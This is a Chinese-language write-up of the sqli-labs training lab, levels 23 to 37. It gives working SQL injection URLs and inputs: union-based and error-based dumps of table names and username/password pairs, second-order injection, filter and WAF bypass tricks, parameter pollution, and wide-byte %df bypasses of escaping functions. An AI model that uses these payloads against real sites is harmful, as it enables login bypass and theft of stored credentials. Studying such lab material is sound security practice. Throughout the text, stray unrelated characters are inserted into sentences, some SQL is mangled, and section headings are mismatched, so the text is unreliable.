LESS-23
SQL語(yǔ)句$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";這里主要是在獲取id參數(shù)時(shí)進(jìn)行了#,--注釋符的過(guò)濾u
嘗試輸入:http://127.0.0.1/sqli-labs-master/Less-23/?id=0' union select 1,database(),'3
然后發(fā)現(xiàn)
數(shù)據(jù)庫(kù)名已被查出
因?yàn)榇颂巗ql語(yǔ)句為:
select * from users where id='0' union select 1,database(),'3' limit 0,1
Explain:
- id=0,為什么用id=0,這里0或-1都行钟病,因?yàn)閟ql語(yǔ)句執(zhí)行了兩個(gè)select語(yǔ)句胞谈,第一個(gè)select為id的選擇語(yǔ)句瓮具,第二個(gè)為我們構(gòu)造的鞍陨。只有一個(gè)可以輸出消略,為了讓我們自己構(gòu)造的能正常輸出个粱,第一個(gè)select要沒(méi)有結(jié)果蚣旱,所以0或者超過(guò)數(shù)據(jù)庫(kù)所有數(shù)據(jù)都可以吕世。
2.-1' union select 1,database(),'3彰触,第一個(gè)'(單引號(hào))閉合0,第二個(gè)閉合后面的命辖。這樣將查詢結(jié)果內(nèi)容顯示在username處况毅。
3.此處可以報(bào)錯(cuò)注入,延時(shí)注入尔艇,可以利用 or '1'='1 進(jìn)行閉合尔许。
這里的原理主要就是單引號(hào)閉合,在less-1中我們介紹了聯(lián)合查詢注入和報(bào)錯(cuò)注入终娃,這里都可以用味廊;
1聯(lián)合查詢注入:
http://127.0.0.1/sqli-labs-master/Less-23/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()='1
圖片.png
可以爆出表
2:報(bào)錯(cuò)注入
http://127.0.0.1/sqli-labs-master/Less-23/?id=0' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))='1
圖片.png
其他參考less1自行構(gòu)造。
LESS-24
本關(guān)為二次排序注入的示范例棠耕。二次排序注入也成為存儲(chǔ)型的注入余佛,就是將可能導(dǎo)致sql注入的字符先存入到數(shù)據(jù)庫(kù)中,當(dāng)再次調(diào)用這個(gè)惡意構(gòu)造的字符時(shí)窍荧,就可以出發(fā)sql注入衙熔。二次排序注入思路:
黑客通過(guò)構(gòu)造數(shù)據(jù)的形式,在瀏覽器或者其他軟件中提交HTTP數(shù)據(jù)報(bào)文請(qǐng)求到服務(wù)端進(jìn)行處理搅荞,提交的數(shù)據(jù)報(bào)文請(qǐng)求中可能包含了黑客構(gòu)造的SQL語(yǔ)句或者命令红氯。
服務(wù)端應(yīng)用程序會(huì)將黑客提交的數(shù)據(jù)信息進(jìn)行存儲(chǔ),通常是保存在數(shù)據(jù)庫(kù)中咕痛,保存的數(shù)據(jù)信息的主要作用是為應(yīng)用程序執(zhí)行其他功能提供原始輸入數(shù)據(jù)并對(duì)客戶端請(qǐng)求做出響應(yīng)痢甘。
黑客向服務(wù)端發(fā)送第二個(gè)與第一次不相同的請(qǐng)求數(shù)據(jù)信息。
服務(wù)端接收到黑客提交的第二個(gè)請(qǐng)求信息后茉贡,為了處理該請(qǐng)求塞栅,服務(wù)端會(huì)查詢數(shù)據(jù)庫(kù)中已經(jīng)存儲(chǔ)的數(shù)據(jù)信息并處理,從而導(dǎo)致黑客在第一次請(qǐng)求中構(gòu)造的SQL語(yǔ)句或者命令在服務(wù)端環(huán)境中執(zhí)行腔丧。
服務(wù)端返回執(zhí)行的處理結(jié)果數(shù)據(jù)信息放椰,黑客可以通過(guò)返回的結(jié)果數(shù)據(jù)信息判斷二次注入漏洞利用是否成功作烟。
此例子中我們的步驟是注冊(cè)一個(gè)admin'#的賬號(hào),接下來(lái)登錄該帳號(hào)后進(jìn)行修改密碼砾医。此時(shí)修改的就是admin的密碼拿撩。
Sql語(yǔ)句變?yōu)閁PDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password=' ,也就是執(zhí)行了UPDATE users SET passwd="New_Pass" WHERE username =' admin'
1.注冊(cè)admin'#賬號(hào)
2.注意此時(shí)的數(shù)據(jù)庫(kù)中出現(xiàn)了admin'#的用戶如蚜,同時(shí)admin的密碼為admin
3.登錄admin'#压恒,并修改密碼
4.這時(shí)并沒(méi)有修改admin'#的密碼,而是修改了admin的密碼错邦。原理上面已經(jīng)提過(guò)
LESS-25
本關(guān)主要為or and過(guò)濾探赫,如何繞過(guò)or和and過(guò)濾。一般性提供以下幾種思路:
1.大小寫(xiě)變形 Or,OR,oR
2.編碼撬呢,hex伦吠,urlencode
3..添加注釋/*or*/
4.利用符號(hào) and=&& or=||
下面用4演示一下:
http://127.0.0.1/sqli-labs-master/Less-25/?id=0'|| extractvalue(1,concat(0x7e,database())) -- +
爆出數(shù)據(jù)庫(kù):
可以看到信息,其他信息可以按照前面的題目參考構(gòu)造魂拦。
LESS-25a
不同于25關(guān)的是sql語(yǔ)句中對(duì)于id讨勤,沒(méi)有''的包含,同時(shí)沒(méi)有輸出錯(cuò)誤項(xiàng)晨另,報(bào)錯(cuò)注入不能用。其余基本上和25示例沒(méi)有差別谱姓。此處采取兩種方式:延時(shí)注入和聯(lián)合注入借尿。
http://127.0.0.1/sqli-labs-master/Less-25a/?id=0 union select 1,database(),3 -- +
LESS-26
TIPS:本關(guān)可能有的朋友在windows下無(wú)法使用一些特殊的字符代替空格,此處是因?yàn)閍pache的解析的問(wèn)題屉来,這里請(qǐng)更換到linux平臺(tái)下路翻。
本關(guān)結(jié)合25關(guān),
看看源代碼
將空格茄靠,or茂契,and,/*,#,--,/等各種符號(hào)過(guò)濾,此處對(duì)于and慨绳,or的處理方法不再贅述掉冶,參考25.此處我們需要說(shuō)明兩方面:對(duì)于注釋和結(jié)尾字符的我們此處只能利用構(gòu)造一個(gè) ' 來(lái)閉合后面到 ' ;對(duì)于空格脐雪,有較多的方法:
%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁(yè)
%0d return功能
%0b TAB鍵(垂直)
%a0 空格
sql語(yǔ)句為SELECT * FROM users WHERE id='$id' LIMIT 0,1
可以寫(xiě)
http://127.0.0.1/sqli-labs-master/Less-26/?id=1' %a0|| '1
Explain:'%a0||'1
同時(shí)厌小,我們此處的sql語(yǔ)句變?yōu)镾ELECT * FROM users WHERE id='1' || '1' LIMIT 0,1
第一個(gè) ' 首先閉合id='$id' 中的',%a0是空格的意思战秋,(ps:此前在windows+phpstudy測(cè)試璧亚,不能解析%a0,)同時(shí)%0b也是可以通過(guò)測(cè)試的脂信,其他的經(jīng)測(cè)試是不行的癣蟋。||是或者的意思透硝,'1則是為了閉合后面的 ' 。
因?yàn)閣endows不能解析,只能想想能不能用別的方法了疯搅,嘗試用()繞過(guò)濒生,結(jié)果可以
http://127.0.0.1/sqli-labs-master/Less-26?id=1'||extractvalue(1,concat(0x7e,database()))||'1'='1
可以看到已經(jīng)出現(xiàn)數(shù)據(jù)庫(kù)名字
然后繼續(xù)用()繞過(guò),注意,由于過(guò)濾了or秉撇,這里的information就要使用雙寫(xiě)的方式了
http://127.0.0.1/sqli-labs-master/Less-26/?id=0'||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))))||'1'='1
爆出了表名甜攀,然后使用同樣方法獲取其他數(shù)據(jù),自行構(gòu)造琐馆。
LESS-26a
這關(guān)與26的區(qū)別在于规阀,sql語(yǔ)句添加了一個(gè)括號(hào),同時(shí)在sql語(yǔ)句執(zhí)行拋出錯(cuò)誤后并不在前臺(tái)頁(yè)面輸出瘦麸。所有我們排除報(bào)錯(cuò)注入谁撼,這里依舊是利用union注入。
sql語(yǔ)句為SELECT * FROM users WHERE id=('$id') LIMIT 0,1
我們構(gòu)造payload: http://127.0.0.1/sqli-labs-master/Less-26a/?id=1')%0a||1=('1
由于windows不能解析空格滋饲,其它構(gòu)造方法就不在....
LESS-27
本關(guān)主要考察將union厉碟,select和26關(guān)過(guò)濾掉的字符。只需要將union和select改為大小寫(xiě)混合就可以突破屠缭。其他與26,26a一樣箍鼓,由于windows限制,所以只介紹報(bào)錯(cuò)注入呵曹,聯(lián)合查詢就不介紹了款咖。
報(bào)錯(cuò)注入:
http://127.0.0.1/sqli-labs-master/Less-27/?id=0'||extractvalue(1,concat(0x7e,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))||'1'='1
已經(jīng)爆出表名,獲取其他數(shù)據(jù)方法相似奄喂,自行構(gòu)造铐殃。
LESS-27a
本關(guān)與27關(guān)的區(qū)別在于對(duì)于id的處理,這里用的是 " 跨新,同時(shí)mysql的錯(cuò)誤不會(huì)在前端頁(yè)面顯示富腊。所以我們用聯(lián)合查詢的注入方法,這里換成了windows+wamp測(cè)試域帐,發(fā)現(xiàn)27,26等不能用的字符可以使用赘被。
http://127.0.0.1/sqli-labs-master/Less-27a/?id=0"%a0uNion%a0sElect%a01,group_concat(username,0x3a,password),3%a0from%a0users%a0where%a0"1
http://127.0.0.1/sqli-labs-master/Less-27a/?id=0"%a0UnIon%a0SElecT%a01,user(),"3
LESS-28
本關(guān)與27類似,只是對(duì)id參數(shù)進(jìn)行了('id')處理肖揣,其他與27一樣
http://127.0.0.1/sqli-labs-master/Less-28/?id=100')union%a0select(1),(user()),(3)||('1
http://127.0.0.1/sqli-labs-master/Less-27a/?id=0')%a0uNion%a0sElect%a01,group_concat(username,0x3a,password),3%a0from%a0users%a0where%a0('1
LESS-28a
本關(guān)與28基本一致帘腹,只是過(guò)濾條件少了幾個(gè)
對(duì)參數(shù)進(jìn)行了處理
構(gòu)造:
http://127.0.0.1/sqli-labs-master/Less-28a/?id=0') uNion%a0sElect 1,user(),('3
http://127.0.0.1/sqli-labs-master/Less28a/?id=0')%a0uNion%a0sElect%a01,group_concat(username,0x3a,password),3%a0from%a0users%a0where%a0('1
參考MYSQL注入天書(shū)之服務(wù)器(兩層)架構(gòu)
WAF:Web應(yīng)用防護(hù)系統(tǒng)(也稱:網(wǎng)站應(yīng)用級(jí)入侵防御系統(tǒng)。英文:Web Application Firewall许饿,簡(jiǎn)稱: WAF)阳欲。利用國(guó)際上公認(rèn)的一種說(shuō)法:Web應(yīng)用防火墻是通過(guò)執(zhí)行一系列針對(duì)HTTP/HTTPS的安全策略來(lái)專門為Web應(yīng)用提供保護(hù)的一款產(chǎn)品。
在SQL注入過(guò)程中主流的WAF繞過(guò)技術(shù):
1.轉(zhuǎn)換特征字符大小寫(xiě)
2.利用注釋繞過(guò)
3.編碼特征字符繞過(guò)
4.分隔重寫(xiě)特征字符繞過(guò)
5.利用截?cái)嘧址@過(guò)
6.變換變量位置繞過(guò)
7.針對(duì)域名保護(hù)的繞近
8.超大數(shù)據(jù)包繞過(guò)
9.轉(zhuǎn)換數(shù)據(jù)提交方式繞過(guò)
10.HPP(HTTP參數(shù)污染)繞過(guò)
LESS-30
做題之前要先了解一些東西
服務(wù)器端有兩個(gè)部分:第一部分為tomcat為引擎的jsp型服務(wù)器,第二部分為apache為引擎的php服務(wù)器球化,真正提供web服務(wù)的是php服務(wù)器秽晚。工作流程為:client訪問(wèn)服務(wù)器,能直接訪問(wèn)到tomcat服務(wù)器筒愚,然后tomcat服務(wù)器再向apache服務(wù)器請(qǐng)求數(shù)據(jù)赴蝇。數(shù)據(jù)返回路徑則相反。
我們先嘗試輸入?id=1
會(huì)發(fā)現(xiàn)返回了一個(gè)結(jié)果巢掺,如果輸入?id=1&id=2,會(huì)返回1還是2呢句伶?
可以看到返回的是id=2
Explain:apache(php)解析最后一個(gè)參數(shù),即顯示id=2的內(nèi)容陆淀】加啵客戶端請(qǐng)求首先過(guò)tomcat,tomcat解析第一個(gè)參數(shù)轧苫,接下來(lái)tomcat去請(qǐng)求apache(php)服務(wù)器楚堤,apache解析最后一個(gè)參數(shù)。那最終返回客戶端的應(yīng)該id=2的內(nèi)容含懊,應(yīng)為時(shí)間上提供服務(wù)的是apache(php)服務(wù)器身冬,返回的數(shù)據(jù)也應(yīng)該是apache處理的數(shù)據(jù)。而在我們實(shí)際應(yīng)用中岔乔,也是有兩層服務(wù)器的情況酥筝,那為什么要這么做?是因?yàn)槲覀兺趖omcat服務(wù)器處做數(shù)據(jù)過(guò)濾和處理雏门,功能類似為一個(gè)WAF嘿歌。Tomcat(jsp)解析第一個(gè)參數(shù),即顯示id=1的內(nèi)容剿配。Tomcat功能類似一個(gè)WAF所以我們要傳入兩個(gè)id,第一個(gè)用來(lái)欺騙waf阅束,第二個(gè)用來(lái)傳送給apache呼胚。waf是只允許輸入數(shù)字的,我們?cè)谳斎霐?shù)字的時(shí)候先給waf看然后檢測(cè)正常后才轉(zhuǎn)發(fā)給我們需要訪問(wèn)的頁(yè)面
下面我們可以這樣構(gòu)造:
http://127.0.0.1/sqli-labs-master/Less-29/?id=1&id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
這樣就可以爆出表了息裸,同樣方法也可爆出其他內(nèi)容蝇更。
LESS-30
30與29類似,
通過(guò)嘗試發(fā)現(xiàn)應(yīng)該是對(duì)id參數(shù)進(jìn)行了"id"的處理
然后構(gòu)造:
http://127.0.0.1/sqli-labs-master/Less-30/?id=1&id=0" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
然后爆出表呼盆,同樣可以爆出其他信息年扩。
LESS-31
這三關(guān)類型相同,只是對(duì)id進(jìn)行了處理
應(yīng)該加(" ")
構(gòu)造:
http://127.0.0.1/sqli-labs-master/Less-31/?id=1&id=0") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
參考# MYSQL注入天書(shū)之寬字節(jié)注入
LESS-32
這題對(duì)'進(jìn)行了過(guò)濾访圃,因此我們可以用寬字節(jié)注入的方法繞過(guò)'的過(guò)濾厨幻。
http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df%27 union select 1,user(),3 -- +
這樣構(gòu)造之后就可以查出數(shù)據(jù)庫(kù)信息,使用聯(lián)合查詢的方法就可以。其他自行構(gòu)造
LESS-33
本關(guān)與上關(guān)相似况脆,
從源代碼中可以看到:
此處過(guò)濾使用函數(shù)addslashes()
addslashes() 函數(shù)返回在預(yù)定義字符之前添加反斜杠的字符串饭宾。
預(yù)定義字符是:
單引號(hào)(')
雙引號(hào)(")
反斜杠(\)
提示:該函數(shù)可用于為存儲(chǔ)在數(shù)據(jù)庫(kù)中的字符串以及數(shù)據(jù)庫(kù)查詢語(yǔ)句準(zhǔn)備字符串。
Addslashes()函數(shù)和我們?cè)?2關(guān)實(shí)現(xiàn)的功能基本一致的格了,所以我們依舊可以利用%df進(jìn)行繞過(guò)看铆。
Notice:使用addslashes(),我們需要將mysql_query設(shè)置為binary的方式,才能防御此漏洞盛末。
Mysql_query("SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
構(gòu)造:
http://127.0.0.1/sqli-labs-master/Less-33/?id=0%df' union select 1,user(),3 -- +
LESS-34
本關(guān)是post型的注入漏洞弹惦,同樣的也是將post過(guò)來(lái)的內(nèi)容進(jìn)行了 ' \ 的處理。
首先我們嘗試輸入' or 1=1 # 悄但,密碼隨意棠隐,看結(jié)果如何?
結(jié)果發(fā)現(xiàn)確實(shí)進(jìn)行了'處理
由上面的例子可以看到我們的方法就是將過(guò)濾函數(shù)添加的 \ 給吃掉算墨。而get型的方式我們是以u(píng)rl形式提交的宵荒,因此數(shù)據(jù)會(huì)通過(guò)URLencode,如何將方法用在post型的注入當(dāng)中净嘀,我們此處介紹一個(gè)新的方法报咳。將utf-8轉(zhuǎn)換為utf-16或 utf-32,例如將 ' 轉(zhuǎn)為utf-16為 ?' 挖藏。我們就可以利用這個(gè)方式進(jìn)行嘗試暑刃。
這樣便成功登陸了
原始的sql語(yǔ)句為
@sql="SELECTusername,passwordFROMusersWHEREusername=′
uname' and password='$passwd' LIMIT 0,1";
此時(shí)sql語(yǔ)句為
SELECT username, password FROM users WHERE username='?' or 1=1#' and password='$passwd' LIMIT 0,1
Explain:SELECT username, password FROM users WHERE username='?' or 1=1起到作用,后面的則被#注釋掉了膜眠。而起作用的的語(yǔ)句不論select選擇出來(lái)的內(nèi)容是什么與 1=1進(jìn)行or操作后岩臣,始終是1。
也可以爆出其他信息
LESS-35
35關(guān)和33關(guān)是大致的一樣的宵膨,唯一的區(qū)別在于sql語(yǔ)句的不同架谎。
sql="SELECT?FROMusersWHEREid=id LIMIT 0,1";
區(qū)別就是id沒(méi)有被' "符號(hào)包括起來(lái),那我們就沒(méi)有必要去考慮check_addslashes()函數(shù)的意義了辟躏,直接提交payload:
LESS-36
看下源代碼
上面的check_quotes()函數(shù)是利用了mysql_real_escape_string()函數(shù)進(jìn)行的過(guò)濾谷扣。
mysql_real_escape_string() 函數(shù)轉(zhuǎn)義 SQL 語(yǔ)句中使用的字符串中的特殊字符。
下列字符受影響:
\x00
\n
\r
\
'
"
\x1a
如果成功捎琐,則該函數(shù)返回被轉(zhuǎn)義的字符串会涎。如果失敗,則返回 false瑞凑。
但是因mysql我們并沒(méi)有設(shè)置成gbk末秃,所以mysql_real_escape_string()依舊能夠被突破。方法和上述是一樣的籽御。
構(gòu)造:
http://127.0.0.1/sqli-labs-master/Less-36/?id=0%df' union select 1,user(),database() -- +
LESS-37
本題34關(guān)是大致相似的练慕,區(qū)別在于處理post內(nèi)容用的是mysql_real_escape_string()函數(shù)惰匙,而不是addslashes()函數(shù),但是原理是一樣的贺待,上面我們已經(jīng)分析過(guò)原理了徽曲,這里就不進(jìn)行贅述了。
這里用戶名輸入%df' or 1=1 麸塞,%df轉(zhuǎn)換成utf-16為?' 秃臣,即?' or 1=1,密碼隨意
成功登陸
然后可以同樣方法爆出信息